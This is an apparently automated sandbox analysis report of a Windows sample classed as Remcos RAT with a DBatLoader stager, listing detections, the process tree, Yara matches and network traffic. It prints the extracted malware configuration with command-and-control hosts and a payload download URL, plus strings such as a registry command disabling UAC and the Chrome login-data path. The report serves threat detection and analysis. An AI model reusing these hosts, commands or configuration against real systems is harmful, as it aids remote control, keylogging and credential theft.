Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Fnvtdhenapsfwu.exe

Overview

General Information

Sample Name:Fnvtdhenapsfwu.exe
Analysis ID:1303888
MD5:cffe529403460c6affe0f52c1e7de602
SHA1:3e03898f87c2cc47d57893c3dd55302281e9f2b5
SHA256:56a3dc5c90ade897e349ba0fd0433770dcdda32b5bd2a1c6608b2af2f9b34c05
Infos:

Detection

Remcos, DBatLoader
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Sigma detected: Remcos
Antivirus detection for URL or domain
Found malware configuration
Yara detected UAC Bypass using CMSTP
Contains functionality to bypass UAC (CMSTPLUA)
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected Remcos RAT
Yara detected DBatLoader
Multi AV Scanner detection for dropped file
Contains functionality to steal Firefox passwords or cookies
Allocates memory in foreign processes
Injects a PE file into a foreign processes
Contains functionalty to change the wallpaper
Drops PE files with a suspicious file extension
Writes to foreign memory regions
Delayed program exit found
Contains functionality to modify clipboard data
Contains functionality to steal Chrome passwords or cookies
C2 URLs / IPs found in malware configuration
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to query locales information (e.g. system language)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to enumerate running services
Contains functionality to dynamically determine API calls
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Yara detected Keylogger Generic
Contains functionality to retrieve information about pressed keystrokes
Dropped file seen in connection with other malware
Contains functionality for read data from the clipboard
Uses 32bit PE files
Yara signature match
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to shutdown / reboot the system
Internet Provider seen in connection with other malware
Contains functionality to query CPU information (cpuid)
Found potential string decryption / allocating functions
Contains functionality to call native functions
Contains functionality to read the clipboard data
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a DirectInput object (often for capturing keystrokes)
Sample file is different than original file name gathered from version info
Extensive use of GetProcAddress (often used to hide API calls)
Detected TCP or UDP traffic on non-standard ports
Contains functionality to download and launch executables
Uses Microsoft's Enhanced Cryptographic Provider
Contains functionality to simulate mouse events

Classification

Process Tree

  • System is w10x64
  • Fnvtdhenapsfwu.exe (PID: 7056 cmdline: C:\Users\user\Desktop\Fnvtdhenapsfwu.exe MD5: CFFE529403460C6AFFE0F52C1E7DE602)
    • SndVol.exe (PID: 7120 cmdline: C:\Windows\System32\SndVol.exe MD5: 1EF1A9B89A984DD25DB61DC1AF2548B8)
  • Fnvtdhen.PIF (PID: 6264 cmdline: "C:\Users\Public\Libraries\Fnvtdhen.PIF" MD5: CFFE529403460C6AFFE0F52C1E7DE602)
    • colorcpl.exe (PID: 6388 cmdline: C:\Windows\System32\colorcpl.exe MD5: 746F3B5E7652EA0766BA10414D317981)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Remcos, RemcosRATRemcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos
NameDescriptionAttributionBlogpost URLsLink
DBatLoaderThis Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": "tornado.ydns.eu:1972:1orifak.ydns.eu:1972:1", "Assigned name": "ES 5th", "Copy file": "remcos.exe", "Mutex": "RmEEESSSssss-3AINT8", "Keylog file": "logs.dat", "Screenshot file": "Screenshots", "Audio folder": "MicRecords", "Copy folder": "Remcos", "Keylog folder": "remcos"}

Threatname: DBatLoader

{"Download Url": "http://wsvdyhrgebwhevawe.ydns.eu/goofeeewsvd/Fnvtdhenaps"}

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
Fnvtdhenapsfwu.exeJoeSecurity_DBatLoaderYara detected DBatLoaderJoe Security

    Dropped Files

    SourceRuleDescriptionAuthorStrings
    C:\Users\Public\Libraries\Fnvtdhen.PIFJoeSecurity_DBatLoaderYara detected DBatLoaderJoe Security

      Memory Dumps

      SourceRuleDescriptionAuthorStrings
      00000001.00000002.474312952.00000000007D5000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
        00000008.00000002.253206056.0000000002AB1000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
          00000008.00000003.253042102.0000000002AB1000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
            00000001.00000002.474788319.00000000062F0000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
              00000001.00000002.474788319.00000000062F0000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
                Click to see the 27 entries

                Unpacked PEs

                SourceRuleDescriptionAuthorStrings
                1.2.SndVol.exe.400000.0.unpackJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
                  1.2.SndVol.exe.400000.0.unpackJoeSecurity_RemcosYara detected Remcos RATJoe Security
                    1.2.SndVol.exe.400000.0.unpackINDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOMDetects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)ditekSHen
                    • 0x649e8:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                    • 0x6497c:$s1: CoGetObject
                    • 0x64990:$s1: CoGetObject
                    • 0x649ac:$s1: CoGetObject
                    • 0x6e938:$s1: CoGetObject
                    • 0x6493c:$s2: Elevation:Administrator!new:
                    1.2.SndVol.exe.400000.0.unpackWindows_Trojan_Remcos_b296e965unknownunknown
                    • 0x6aaa8:$a1: Remcos restarted by watchdog!
                    • 0x6b020:$a3: %02i:%02i:%02i:%03i
                    1.2.SndVol.exe.400000.0.unpackREMCOS_RAT_variantsunknownunknown
                    • 0x64afc:$str_a1: C:\Windows\System32\cmd.exe
                    • 0x64a78:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
                    • 0x64a78:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
                    • 0x64f78:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
                    • 0x657a8:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
                    • 0x64b6c:$str_b2: Executing file:
                    • 0x65bec:$str_b3: GetDirectListeningPort
                    • 0x65598:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
                    • 0x65718:$str_b7: \update.vbs
                    • 0x64b94:$str_b9: Downloaded file:
                    • 0x64b80:$str_b10: Downloading file:
                    • 0x64c24:$str_b12: Failed to upload file:
                    • 0x65bb4:$str_b13: StartForward
                    • 0x65bd4:$str_b14: StopForward
                    • 0x65670:$str_b15: fso.DeleteFile "
                    • 0x65604:$str_b16: On Error Resume Next
                    • 0x656a0:$str_b17: fso.DeleteFolder "
                    • 0x64c14:$str_b18: Uploaded file:
                    • 0x64bd4:$str_b19: Unable to delete:
                    • 0x65638:$str_b20: while fso.FileExists("
                    • 0x650b1:$str_c0: [Firefox StoredLogins not found]
                    Click to see the 57 entries

                    Sigma Signatures

                    Stealing of Sensitive Information

                    barindex
                    Sigma detected: Remcos
                    Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\SndVol.exe, ProcessId: 7120, TargetFilename: C:\ProgramData\remcos\logs.dat

                    Snort Signatures

                    ⊘No Snort rule has matched

                    Joe Sandbox Signatures

                    Click to jump to signature section

                    Show All Signature Results

                    AV Detection

                    barindex
                    Antivirus detection for URL or domain
                    Source: http://wsvdyhrgebwhevawe.ydns.eu/goofeeewsvd/Fnvtdhenapsll&=Avira URL Cloud: Label: phishing
                    Source: http://wsvdyhrgebwhevawe.ydns.eu/goofeeewsvd/FnvtdhenapsfAvira URL Cloud: Label: phishing
                    Source: http://wsvdyhrgebwhevawe.ydns.eu/goofeeewsvd/FnvtdhenapsDLLq/Avira URL Cloud: Label: phishing
                    Source: http://wsvdyhrgebwhevawe.ydns.eu/Avira URL Cloud: Label: phishing
                    Source: tornado.ydns.euAvira URL Cloud: Label: phishing
                    Source: http://wsvdyhrgebwhevawe.ydns.eu/goofeeewsvd/FnvtdhenapsAvira URL Cloud: Label: phishing
                    Source: http://wsvdyhrgebwhevawe.ydns.eu/goofeeewsvd/FnvtdhenapsDLLAvira URL Cloud: Label: phishing
                    Found malware configuration
                    Source: Fnvtdhenapsfwu.exeMalware Configuration Extractor: DBatLoader {"Download Url": "http://wsvdyhrgebwhevawe.ydns.eu/goofeeewsvd/Fnvtdhenaps"}
                    Source: 00000001.00000002.474312952.00000000007D5000.00000004.00000020.00020000.00000000.sdmpMalware Configuration Extractor: Remcos {"Host:Port:Password": "tornado.ydns.eu:1972:1orifak.ydns.eu:1972:1", "Assigned name": "ES 5th", "Copy file": "remcos.exe", "Mutex": "RmEEESSSssss-3AINT8", "Keylog file": "logs.dat", "Screenshot file": "Screenshots", "Audio folder": "MicRecords", "Copy folder": "Remcos", "Keylog folder": "remcos"}
                    Multi AV Scanner detection for submitted file
                    Source: Fnvtdhenapsfwu.exeReversingLabs: Detection: 62%
                    Yara detected Remcos RAT
                    Source: Yara matchFile source: 1.2.SndVol.exe.400000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.SndVol.exe.62f0000.1.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.6190000.2.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.SndVol.exe.62f0000.1.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.SndVol.exe.62f194e.2.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.619194e.1.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.400000.0.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.6190000.2.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.SndVol.exe.62f194e.2.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.SndVol.exe.400000.0.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.400000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.619194e.1.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 00000001.00000002.474312952.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000002.253206056.0000000002AB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000003.253042102.0000000002AB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000001.00000002.474788319.00000000062F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000003.253092372.0000000002AB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000003.253076423.0000000002AD0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000002.253136648.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000002.253322818.0000000006190000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: SndVol.exe PID: 7120, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: colorcpl.exe PID: 6388, type: MEMORYSTR
                    Multi AV Scanner detection for dropped file
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFReversingLabs: Detection: 62%
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00433789 CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,1_2_00433789
                    Source: SndVol.exeBinary or memory string: -----BEGIN PUBLIC KEY-----

                    Exploits

                    barindex
                    Yara detected UAC Bypass using CMSTP
                    Source: Yara matchFile source: 1.2.SndVol.exe.400000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.SndVol.exe.62f0000.1.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.6190000.2.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.SndVol.exe.62f0000.1.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.SndVol.exe.62f194e.2.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.619194e.1.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.400000.0.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.6190000.2.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.SndVol.exe.62f194e.2.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.SndVol.exe.400000.0.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.400000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.619194e.1.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 00000001.00000002.474788319.00000000062F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000002.253136648.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000002.253322818.0000000006190000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: SndVol.exe PID: 7120, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: colorcpl.exe PID: 6388, type: MEMORYSTR

                    Privilege Escalation

                    barindex
                    Contains functionality to bypass UAC (CMSTPLUA)
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_004074FD _wcslen,CoGetObject,1_2_004074FD
                    Source: Fnvtdhenapsfwu.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
                    Source: Binary string: easinvoker.pdb source: Fnvtdhenapsfwu.exe, 00000000.00000002.218479200.000000000EB7F000.00000004.00001000.00020000.00000000.sdmp, Fnvtdhenapsfwu.exe, 00000000.00000003.213652513.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, Fnvtdhenapsfwu.exe, 00000000.00000002.220939596.000000007F4A0000.00000004.00001000.00020000.00000000.sdmp
                    Source: Binary string: easinvoker.pdbH source: Fnvtdhenapsfwu.exe, 00000000.00000002.218479200.000000000EB7F000.00000004.00001000.00020000.00000000.sdmp, Fnvtdhenapsfwu.exe, 00000000.00000003.213652513.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, Fnvtdhenapsfwu.exe, 00000000.00000002.220939596.000000007F4A0000.00000004.00001000.00020000.00000000.sdmp
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,1_2_00407C97
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CB58CC GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,0_2_02CB58CC
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0041C1E3 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,1_2_0041C1E3
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,1_2_00409253
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0040C29B FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,1_2_0040C29B
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,1_2_00409665
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0044E749 FindFirstFileExA,1_2_0044E749
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,1_2_0040880C
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0040783C FindFirstFileW,FindNextFileW,1_2_0040783C
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00419A47 FindFirstFileW,FindNextFileW,FindNextFileW,1_2_00419A47
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0040BA7E FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,1_2_0040BA7E
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0040BC85 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,1_2_0040BC85

                    Networking

                    barindex
                    C2 URLs / IPs found in malware configuration
                    Source: Malware configuration extractorURLs: tornado.ydns.eu
                    Source: Malware configuration extractorURLs: http://wsvdyhrgebwhevawe.ydns.eu/goofeeewsvd/Fnvtdhenaps
                    Source: global trafficHTTP traffic detected: GET /goofeeewsvd/Fnvtdhenaps HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: wsvdyhrgebwhevawe.ydns.eu
                    Source: global trafficHTTP traffic detected: GET /goofeeewsvd/Fnvtdhenaps HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: wsvdyhrgebwhevawe.ydns.eu
                    Source: Joe Sandbox ViewASN Name: CMCSUS CMCSUS
                    Source: global trafficTCP traffic: 192.168.2.4:49707 -> 193.42.32.61:1972
                    Source: Fnvtdhen.PIF, 00000002.00000002.253230097.000000000019B000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://://t.exet.exe
                    Source: Fnvtdhenapsfwu.exe, 00000000.00000002.216838629.000000000019B000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://://t.exet.exen
                    Source: SndVol.exeString found in binary or memory: http://geoplugin.net/json.gp
                    Source: SndVol.exe, 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, SndVol.exe, 00000001.00000002.474788319.00000000062F0000.00000040.00000400.00020000.00000000.sdmp, colorcpl.exe, 00000008.00000002.253322818.0000000006190000.00000040.00000400.00020000.00000000.sdmp, colorcpl.exe, 00000008.00000002.253136648.0000000000400000.00000040.00001000.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp/C
                    Source: Fnvtdhenapsfwu.exe, 00000000.00000002.216873929.00000000005C1000.00000004.00000020.00020000.00000000.sdmp, Fnvtdhen.PIF, 00000002.00000002.253289545.00000000005D6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://wsvdyhrgebwhevawe.ydns.eu/
                    Source: Fnvtdhen.PIF, 00000002.00000002.255025032.000000000EC6C000.00000004.00001000.00020000.00000000.sdmp, Fnvtdhen.PIF, 00000002.00000002.253289545.00000000005FF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://wsvdyhrgebwhevawe.ydns.eu/goofeeewsvd/Fnvtdhenaps
                    Source: Fnvtdhen.PIF, 00000002.00000002.253289545.00000000005C5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://wsvdyhrgebwhevawe.ydns.eu/goofeeewsvd/FnvtdhenapsDLL
                    Source: Fnvtdhen.PIF, 00000002.00000002.253289545.00000000005C5000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://wsvdyhrgebwhevawe.ydns.eu/goofeeewsvd/FnvtdhenapsDLLq/
                    Source: Fnvtdhen.PIF, 00000002.00000002.253289545.00000000005A1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://wsvdyhrgebwhevawe.ydns.eu/goofeeewsvd/Fnvtdhenapsf
                    Source: Fnvtdhenapsfwu.exe, 00000000.00000002.216873929.0000000000591000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://wsvdyhrgebwhevawe.ydns.eu/goofeeewsvd/Fnvtdhenapsll&=
                    Source: Fnvtdhenapsfwu.exe, Fnvtdhenapsfwu.exe, 00000000.00000002.217337311.0000000002CD9000.00000004.00001000.00020000.00000000.sdmp, Fnvtdhenapsfwu.exe, 00000000.00000002.221331055.000000007FD20000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.pmail.com
                    Source: unknownDNS traffic detected: queries for: wsvdyhrgebwhevawe.ydns.eu
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00426C03 recv,1_2_00426C03
                    Source: global trafficHTTP traffic detected: GET /goofeeewsvd/Fnvtdhenaps HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: wsvdyhrgebwhevawe.ydns.eu
                    Source: global trafficHTTP traffic detected: GET /goofeeewsvd/Fnvtdhenaps HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: wsvdyhrgebwhevawe.ydns.eu

                    Key, Mouse, Clipboard, Microphone and Screen Capturing

                    barindex
                    Contains functionality to modify clipboard data
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0041680F OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,1_2_0041680F
                    Source: Yara matchFile source: Process Memory Space: Fnvtdhenapsfwu.exe PID: 7056, type: MEMORYSTR
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0040A3E0 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,1_2_0040A3E0
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0040B65C OpenClipboard,GetClipboardData,CloseClipboard,1_2_0040B65C
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0040B65C OpenClipboard,GetClipboardData,CloseClipboard,1_2_0040B65C
                    Source: Fnvtdhenapsfwu.exe, 00000000.00000002.216873929.000000000057A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>memstr_b5f021b2-2

                    E-Banking Fraud

                    barindex
                    Yara detected Remcos RAT
                    Source: Yara matchFile source: 1.2.SndVol.exe.400000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.SndVol.exe.62f0000.1.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.6190000.2.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.SndVol.exe.62f0000.1.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.SndVol.exe.62f194e.2.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.619194e.1.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.400000.0.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.6190000.2.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.SndVol.exe.62f194e.2.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 1.2.SndVol.exe.400000.0.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.400000.0.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 8.2.colorcpl.exe.619194e.1.raw.unpack, type: UNPACKEDPE
                    Source: Yara matchFile source: 00000001.00000002.474312952.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000002.253206056.0000000002AB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000003.253042102.0000000002AB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000001.00000002.474788319.00000000062F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000003.253092372.0000000002AB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000003.253076423.0000000002AD0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000002.253136648.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: 00000008.00000002.253322818.0000000006190000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                    Source: Yara matchFile source: Process Memory Space: SndVol.exe PID: 7120, type: MEMORYSTR
                    Source: Yara matchFile source: Process Memory Space: colorcpl.exe PID: 6388, type: MEMORYSTR

                    Spam, unwanted Advertisements and Ransom Demands

                    barindex
                    Contains functionalty to change the wallpaper
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0041C934 SystemParametersInfoW,1_2_0041C934

                    System Summary

                    barindex
                    Malicious sample detected (through community Yara rule)
                    Source: 1.2.SndVol.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 1.2.SndVol.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                    Source: 1.2.SndVol.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                    Source: 1.2.SndVol.exe.62f0000.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 1.2.SndVol.exe.62f0000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                    Source: 1.2.SndVol.exe.62f0000.1.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                    Source: 8.2.colorcpl.exe.6190000.2.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 8.2.colorcpl.exe.6190000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                    Source: 8.2.colorcpl.exe.6190000.2.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                    Source: 1.2.SndVol.exe.62f0000.1.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 1.2.SndVol.exe.62f0000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                    Source: 1.2.SndVol.exe.62f0000.1.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                    Source: 1.2.SndVol.exe.62f194e.2.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 1.2.SndVol.exe.62f194e.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                    Source: 1.2.SndVol.exe.62f194e.2.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                    Source: 8.2.colorcpl.exe.619194e.1.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 8.2.colorcpl.exe.619194e.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                    Source: 8.2.colorcpl.exe.619194e.1.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
